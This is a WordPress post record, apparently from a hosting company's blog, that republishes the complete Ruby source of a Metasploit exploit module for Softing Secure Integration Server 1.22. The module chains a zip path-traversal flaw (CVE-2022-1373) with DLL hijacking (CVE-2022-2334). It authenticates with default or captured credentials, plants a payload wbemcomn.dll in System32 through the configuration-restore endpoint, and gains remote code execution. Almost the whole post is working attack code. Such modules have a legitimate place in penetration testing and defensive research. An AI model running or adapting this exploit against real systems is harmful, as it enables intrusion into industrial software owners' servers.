{"id":58368,"date":"2024-07-22T16:29:33","date_gmt":"2024-07-22T13:29:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179646\/softing_sis_rce.rb.txt"},"modified":"2024-07-22T16:29:33","modified_gmt":"2024-07-22T13:29:33","slug":"softing-secure-integration-server-1-22-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/softing-secure-integration-server-1-22-remote-code-execution\/","title":{"rendered":"Softing Secure Integration Server 1.22 Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;zip&#8217;<br \/>require &#8216;metasploit\/framework\/login_scanner\/softing_sis&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::EXE<br \/>include Msf::Exploit::FileDropper<br \/>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Softing Secure Integration Server v1.22 Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.<\/p>\n<p>In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the &#8220;restore configuration&#8221; feature to upload a zip file containing a path traversal file which is a dll called ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll. This causes the file C:\\Windows\\System32\\wbem\\wbemcomn.dll to be created and executed upon touching the disk.<\/p>\n<p>In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.<\/p>\n<p>The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.<\/p>\n<p>A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Chris Anastasio (muffin) of Incite Team&#8217;, # discovery<br \/>&#8216;Steven Seeley (mr_me) of Incite Team&#8217;, # discovery<br \/>&#8216;Imran E. Dawoodjee &lt;imrandawoodjee.infosec[at]gmail.com&gt;&#8217;, # msf module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2022-1373&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2022-2334&#8217;],<br \/>[&#8216;ZDI&#8217;, &#8217;22-1154&#8242;],<br \/>[&#8216;ZDI&#8217;, &#8217;22-1156&#8242;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/industrial.softing.com\/fileadmin\/psirt\/downloads\/syt-2022-5.html&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/ide0x90.github.io\/softing-sis-122-rce\/&#8217;]],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;RPORT&#8217; =&gt; 8099,<br \/>&#8216;SSL&#8217; =&gt; false,<br \/>&#8216;EXITFUNC&#8217; =&gt; &#8216;thread&#8217;,<br \/>&#8216;WfsDelay&#8217; =&gt; 300<br \/>},<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/># the software itself only supports x64, see<br \/># https:\/\/industrial.softing.com\/products\/opc-opc-ua-software-platform\/integration-platform\/secure-integration-server.html<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X64],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Windows x64&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X64 } ]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-07-27&#8217;,<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Compat&#8217; =&gt; {<br \/>&#8216;Meterpreter&#8217; =&gt; {<br \/>&#8216;Commands&#8217; =&gt; %w[<br \/>stdapi_fs_delete_file<br \/>]}<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;SIGNATURE&#8217;, [false, &#8216;Use a username\/signature pair instead of username\/password pair to authenticate&#8217;]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;The username to specify for authentication.&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;The password to specify for authentication&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;DLLPATH&#8217;, [false, &#8216;Custom compiled DLL to use&#8217;])<br \/>])<\/p>\n<p>self.needs_cleanup = true<br \/>end<\/p>\n<p># this will be updated with the signature from &#8220;check&#8221;<br \/>@signature = nil<\/p>\n<p># create a checker instance to reuse code from the Softing SIS login bruteforce module<br \/>def checker_instance<br \/>Metasploit::Framework::LoginScanner::SoftingSIS.new(<br \/>configure_http_login_scanner(<br \/>host: datastore[&#8216;RHOSTS&#8217;],<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>connection_timeout: 5<br \/>)<br \/>).dup<br \/>end<\/p>\n<p># check if the generated\/provided signature is valid for the specified user<br \/>def signature_check(user, signature)<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8220;\/runtime\/core\/user\/#{user}\/authentication&#8221;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;User&#8217; =&gt; user,<br \/>&#8216;Signature&#8217; =&gt; signature<br \/>}<br \/>})<br \/>end<\/p>\n<p>def check<br \/># check the Softing SIS version<br \/>softing_version_res = checker_instance.check_setup<br \/>unless softing_version_res<br \/>return CheckCode::Unknown<br \/>end<\/p>\n<p>softing_version = Rex::Version.new(softing_version_res)<br \/>print_status(&#8220;#{peer} &#8211; Found Softing Secure Integration Server #{softing_version}&#8221;)<\/p>\n<p># the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory<br \/># so we will not continue if the version is not vulnerable<br \/>unless softing_version &lt; Rex::Version.new(&#8216;1.30&#8217;)<br \/>return CheckCode::Safe<br \/>end<\/p>\n<p># if the operator provides a signature, then use that instead of the username and password<br \/>if datastore[&#8216;SIGNATURE&#8217;]print_status(&#8220;#{peer} &#8211; Authenticating as user #{datastore[&#8216;USERNAME&#8217;]} with signature #{datastore[&#8216;SIGNATURE&#8217;]}&#8230;&#8221;)<br \/># send a GET request to \/runtime\/core\/user\/&lt;username&gt;\/authentication<br \/>signature_check_res = signature_check(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;SIGNATURE&#8217;])<\/p>\n<p># if we cannot connect at this point, we only know that the version is &lt; 1.30<br \/># the system &#8220;appears&#8221; to be vulnerable<br \/>unless signature_check_res<br \/>print_error(&#8220;#{peer} &#8211; Connection failed!&#8221;)<br \/>end<\/p>\n<p># if the signature is correct, 200 OK is returned<br \/>if signature_check_res.code == 200<br \/>print_good(&#8220;#{peer} &#8211; Signature #{datastore[&#8216;SIGNATURE&#8217;]} is valid for user #{datastore[&#8216;USERNAME&#8217;]}&#8221;)<br \/>@signature = datastore[&#8216;SIGNATURE&#8217;]else<br \/>print_error(&#8220;#{peer} &#8211; Signature #{datastore[&#8216;SIGNATURE&#8217;]} is invalid for user #{datastore[&#8216;USERNAME&#8217;]}!&#8221;)<br \/>end<br \/># login with username and password<br \/>else<br \/># get the authentication token<br \/>auth_token = checker_instance.get_auth_token(datastore[&#8216;USERNAME&#8217;])<br \/># generate the signature<br \/>@signature = checker_instance.generate_signature(auth_token[:proof], datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])<br \/># check the generated signatures&#8217; validity<br \/>signature_check_res = signature_check(datastore[&#8216;USERNAME&#8217;], @signature)<br \/># if we cannot connect, then the system &#8220;appears&#8221; to be vulnerable<br \/>unless signature_check_res<br \/>print_error(&#8220;#{peer} &#8211; Connection failed!&#8221;)<br \/>end<\/p>\n<p># if the signature is correct, 200 OK is returned<br \/>if signature_check_res.code == 200<br \/>print_good(&#8220;#{peer} &#8211; Valid credentials provided&#8221;)<br \/>else<br \/>print_error(&#8220;#{peer} &#8211; Invalid credentials!&#8221;)<br \/>end<br \/>end<\/p>\n<p># if the version is less than 1.30 it&#8217;s supposedly vulnerable<br \/># but there is no way to confirm vulnerability existence without actually exploiting<br \/># so instead of &#8220;Vulnerable&#8221;, return &#8220;Appears&#8221;<br \/>CheckCode::Appears<br \/>end<\/p>\n<p>def exploit<br \/># did the operator specify a custom DLL? If not&#8230;<br \/>if datastore[&#8216;DLLPATH&#8217;]# otherwise, just use their provided DLL and assume they compiled everything correctly<br \/># there is no way to check if it&#8217;s compiled correctly anyway<br \/>dll_path = datastore[&#8216;DLLPATH&#8217;]else<br \/># have MSF create the malicious DLL<br \/>path = ::File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2022-2334&#8217;)<br \/>datastore[&#8216;EXE::Path&#8217;] = path<br \/>datastore[&#8216;EXE::Template&#8217;] = ::File.join(path, &#8216;template_x64_windows.dll&#8217;)<\/p>\n<p>print_status(&#8216;Generating payload DLL&#8230;&#8217;)<br \/>dll = generate_payload_dll<br \/>dll_name = &#8216;wbemcomn.dll&#8217;<br \/>dll_path = store_file(dll, dll_name)<br \/>print_status(&#8220;Created #{dll_path}&#8221;)<br \/>end<\/p>\n<p># backup the Softing SIS configuration<br \/>print_status(&#8220;#{peer} &#8211; Saving configuration&#8230;&#8221;)<br \/>get_config_zip_res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/runtime\/core\/config-download&#8217;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;User&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>&#8216;Signature&#8217; =&gt; @signature<br \/>}<br \/>})<\/p>\n<p># end if we cannot get the configuration for some reason<br \/>unless get_config_zip_res<br \/>fail_with Failure::Unreachable, &#8220;#{peer} &#8211; Could not obtain configuration&#8221;<br \/>end<\/p>\n<p># status code 200 is the expected response to getting the configuration ZIP<br \/>unless get_config_zip_res.code == 200<br \/># for verbosity, save the JSON response<br \/>get_config_zip_res_json = get_config_zip_res.get_json_document<br \/>vprint_error(&#8220;#{peer} &#8211; #{get_config_zip_res_json}&#8221;)<br \/>fail_with Failure::UnexpectedReply, &#8220;#{peer} &#8211; Returned code #{get_config_zip_res.code}, could not obtain configuration&#8221;<br \/>end<\/p>\n<p># if successful, the body cnotains the configuration ZIP<br \/>config_zip = get_config_zip_res.body<\/p>\n<p># config_download.zip is the name of the configuration ZIP when downloading from the browser<br \/># append a hash based on the peer address to prevent overwriting the config file if there are multiple targets<br \/>config_zip_name = &#8220;config_download_#{Digest::MD5.hexdigest(peer)}.zip&#8221;<\/p>\n<p># store the config zip file<br \/>config_zip_path = store_file(config_zip, config_zip_name)<br \/>print_status(&#8220;Saved configuration to #{config_zip_path}&#8221;)<\/p>\n<p># insert the malicious DLL<br \/>Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|<br \/>zipfile.add(&#8216;..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\wbem\\\\wbemcomn.dll&#8217;, dll_path)<br \/>end<\/p>\n<p># restore the configuration<br \/>restore_config_res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;PUT&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/runtime\/core\/config-restore&#8217;,<br \/>&#8216;cookie&#8217; =&gt; &#8220;systemLang=en-US; lang=en; User=#{datastore[&#8216;USERNAME&#8217;]}; Signature=#{@signature}&#8221;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;User&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>&#8216;Signature&#8217; =&gt; @signature<br \/>},<br \/>&#8216;data&#8217; =&gt; File.read(config_zip_path)<br \/>})<\/p>\n<p># no response<br \/>unless restore_config_res<br \/>fail_with Failure::Unreachable, &#8220;#{peer} &#8211; Could not restore configuration!&#8221;<br \/>end<\/p>\n<p># bad response<br \/>unless restore_config_res.code == 200<br \/># for verbosity, show the JSON response<br \/>restore_config_res_json = restore_config_res.get_json_document<br \/>vprint_error(&#8220;#{peer} &#8211; #{restore_config_res_json}&#8221;)<br \/>fail_with Failure::UnexpectedReply, &#8220;#{peer} &#8211; Returned code #{restore_config_res.code}, could not restore configuration!&#8221;<br \/>end<br \/>end<\/p>\n<p># clean up the planted DLL if the session is meterpreter<br \/>def on_new_session(session)<br \/>super<\/p>\n<p>unless file_dropper_delete_file(session, &#8216;C:\\\\Windows\\\\System32\\\\wbem\\\\wbemcomn.dll&#8217;)<br \/># if the exploit was successful, register the malicious wbemcomn.dll file for cleanup<br \/>register_file_for_cleanup(&#8216;C:\\\\Windows\\\\System32\\\\wbem\\\\wbemcomn.dll&#8217;)<br \/>end<br \/>end<\/p>\n<p># Store the file in the MSF local directory (\/root\/.msf4\/local\/) so it can be used when creating the ZIP file<br \/># literal copypasta from exploits\/windows\/fileformat\/cve_2017_8464_lnk_rce<br \/>def store_file(data, filename)<br \/>if !::File.directory?(Msf::Config.local_directory)<br \/>FileUtils.mkdir_p(Msf::Config.local_directory)<br \/>end<\/p>\n<p>if filename &amp;&amp; !filename.empty?<br \/>fname, ext = filename.split(&#8216;.&#8217;)<br \/>else<br \/>fname = &#8220;local_#{Time.now.utc.to_i}&#8221;<br \/>end<\/p>\n<p>fname = ::File.split(fname).last<\/p>\n<p>fname.gsub!(\/[^a-z0-9._-]+\/i, &#8221;)<br \/>fname &lt;&lt; &#8220;.#{ext}&#8221;<\/p>\n<p>path = File.join(&#8220;#{Msf::Config.local_directory}\/&#8221;, fname)<br \/>full_path = ::File.expand_path(path)<br \/>File.open(full_path, &#8216;wb&#8217;) { |fd| fd.write(data) }<\/p>\n<p>full_path.dup<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;zip&#8217;require &#8216;metasploit\/framework\/login_scanner\/softing_sis&#8217; class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::EXEinclude Msf::Exploit::FileDropperinclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Softing Secure Integration Server v1.22 Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58368","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58368","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58368"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58368\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58368"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58368"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58368"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}